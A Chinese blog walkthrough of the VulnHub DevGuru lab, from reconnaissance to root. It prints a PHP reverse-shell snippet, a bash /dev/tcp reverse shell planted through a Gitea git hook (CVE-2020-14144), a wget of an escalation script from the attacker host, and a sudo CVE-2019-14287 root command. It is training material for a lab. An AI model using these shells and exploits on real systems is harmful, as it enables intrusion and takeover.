vulnhub之devguru靶场提权过程(vulnhub打靶日记)

一、环境搭建

VM版本:17.5.1 build-23298084

攻击机:Kali2024(下载地址:https://www.kali.org/

靶机:vulnhub靶场Devguru(下载地址:https://www.vulnhub.com/entry/devguru-1,620/)

网络环境:两台主机都设置NAT模式

踩坑1:使用vmware workstation打开Devguru,可能存在兼容性问题兼容性,我是选择重试继续安装也能正常玩耍,也可以更改VM虚拟机硬件为16.x。

解决环境配置问题也是安全必修课之一,细心解决并多总结即可!环境准备完毕,就可以娱乐的玩靶场了。

二、信息收集

1、收集IP、端口、目录信息

(1)确定靶机、攻击机IP,Kali攻击机使用ifconfig查看的IP为:192.168.232.128

(2)使用kali的nmap进行网段扫描、全端口扫描:nmap -p 1-65535 192.168.232.0/24

发现靶机的IP为:192.168.232.157         开放端口22、80、8585

(3)实战中优先访问80、8585web页面端口。22是ssh端口可以尝试爆破,不过成功概率极低。

http://192.168.232.157是网站首页,未发现任何可利用信息。

http://192.168.232.157:8585是gitea的首页,gitea版本为1.12.5存在历史漏洞。

(4)扫描http://192.168.232.157站点目录,发现利用点:

/.git/文件泄露     mysql登录地址 /adminer.php

扫描http://192.168.232.157:8585 站点目录,未发现什么有价值的利用点,只有一个登录处。

2、信息整合、漏洞利用

(1)两个登录框的账号密码都未知,威胁建模后,发现/.git/泄露漏洞可以利用,从这里入手。使用git利用工具GitHack-master爬取站点的源码。

(2)成功获得源码文件,开始审计源码,寻找有价值的信息,这里一眼就看到了config配置文件。从配置文件中获取了一个mysql用户。

拿下mysql后台低权限【1】

(3)去站点80端口的/adminer.php后台尝试登录,非常好,成功进入mysql后台。

(4)进入mysql数据库攻击优先顺序:

方法1:权限足够,直接写入一句话拿下网站权限

方法2:翻找数据表获取其他站点的账号密码,再进行后续的提权

(5)这里使用方法2,优先查看backend_user数据表的信息,发现一个账号密码,看样子就知道不容易解密。

(6)目前解密失败就尝试换一种思路,自己创建一个用户,并且权限设置为管理员。

(7)模仿游戏,尽量能设置一样,这样权限也会一样,再把添加的gjc用户加入管理员组中。

拿下october后台权限【2】

(8)从文件名规律猜测存在站点backend,访问站点:http://192.168.232.157/backend,使用创建的账号gjc 密码123456尝试登录,登录成功。

(9)kali工具或者网上搜索october-cms存在已知漏洞,后台可以文件上传、创建网页反弹shell,有兴趣了解参考大神文章:https://blog.csdn.net/m0_66299232/article/details/129119565

october获取网站权限【3】

(10)创建一个网页,写入反弹shell的代码:

function onStart(){
//nc监听7777端口
    $s=fsockopen("攻击机IP",7777);
    $proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}

(11)Kali攻击机nc监听7777端口:nc -lvvp 7777

(12)保持后查看网页,成功反弹shell。

(13)whoami查看权限,只是web权限太低了,靶场最终需要拿下root权限,尝试提权。

(14)翻一下目录,发现/var/backups下面有个备份文件app.ini.bak ,使用cat查看一下,获取到一个gitea和密码UfFPTF8C8jjxVF2m的mysql账号,刚好http://192.168.232.157:8585是gitea,猜测后面肯定有关联,正所谓无巧不成书!

拿下mysql后台高权限【4】

(15)去http://192.168.232.157/adminer.php登录看看,成功进入!

(16)查看user表信息,看到一个frank用户,使用了pbkdf2加密,此处有两种办法:

方法1:查看网站源码,分析加密方式,再根据加密写出解密脚本得到密码。(实战推荐这种)

方法2:修改密码,编辑数据表,修改加密方式为Bcrypt,密码改为123456(靶场推荐这种)

(17)Bcrypt加密网站:https://www.jisuan.mobi/nX7.html。修改两处即可!

拿下gieat站点后台权限【5】

(18)使用账号gieat密码123456成功登录http://192.168.232.157:8585 站点后台。

gieat获取普通用户权限【6】

(19)这里也是难点,gieat站点后台有个远程命令执行漏洞,文章地址:

Exploiting CVE-2020-14144 - GiTea Authenticated Remote Code Execution using git hooks · Podalirius访问http://192.168.232.157:8585/frank/devguru-website/settings/hooks/git/pre-receive写入反弹命令:

bash -c "exec bash -i >& /dev/tcp/192.168.232.128/5566 0>&1"        

(20)保存后,Kali创建监听5566端口,按照原理编辑README.md文件。

(21)在文件中随机敲几个空格提交修改,既可成功反弹shell。

​​​​​​​

(22)查看权限,是frank用户,普通权限,无法查看root目录下面的文件,只能进行权限提升。

三、权限提升

1、Linux常见提权手段总结

【1】内核溢出漏洞提权,例如:cve-2016-5195、cve_2021_4034等,也就是常说的脏牛系。

【2】SUID、SUDO、SUDO历史CVE漏洞提权

【3】Cron计划任务提权、path环境变量提权、NFS协议提权

【4】数据库类型提权、Capability能力

【5】其他.. ....LD_Preload加载\LXD\docker等等

以上是本人学过的linux提权方式,遗漏的欢迎大家评论区补充。

2、上传提权综合类脚本,PEASS-ng.sh工具几乎包含了上面全部手段探测,算是提权神器。windows中也能用。

将脚本放到Kali的root根目录下面,python开启一个服务终端:python -m http.server 8080

然后靶机进入/tmp目录远程下载文件:wget http://192.168.232.128:8080/PEASS-ng.sh

3、进入靶机的/tmp目录下面,可以看到文件被成功访问下载。

4、赋予文件执行权限:chmod +x PEASS-ng.sh 

执行文件:./PEASS-ng.sh

工具爬取出了suid等可利用信息,suid、sudo等提权参考文章:https://gtfobins.github.io/

5、sudo -l 查看可利用命令,发现/usr/bin/sqlite3

6、使用命令:sudo /usr/bin/sqlite3 /dev/null '.shell /bin/sh'  发现提权失败,权限不足。

7、因为这里有一个考点,就是sudo版本1.8.21存在CVE-2019-14287漏洞。(CVE-2019-14287学习文章:CVE-2019-14287:sudo权限绕过漏洞分析与复现_运行

拿下站点root权限【7】

8、将命令修改整理后:sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'

9、至此,靶场完结!!!

四、关卡总结

考点:

1、拿下站点、敏感文件后,需要细心的审计搜索有价值的信息,特别是账号密码。

2、常见网站october、gieat的历史漏洞,利用已知漏洞反弹shell,拿下网站。

3、熟悉数据库后台创建用户,添加用户组,编辑用户的操作。

4、了解linux提权常用操作,内核漏洞>suid/sudo>环境变量/计划任务等等。

难点:

1、常见网站october、gieat的历史漏洞,这些站点的漏洞能否成功利用提权,对于小白来说是块硬骨头。

2、获取mysql的frank用户时,此处用的是修改加密方式、修改密码。实战中此操作风险太高。需要根据前面获得的源码分析加解密方式,才是最安全合理的。但是代码能力要求很高

  • 32
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值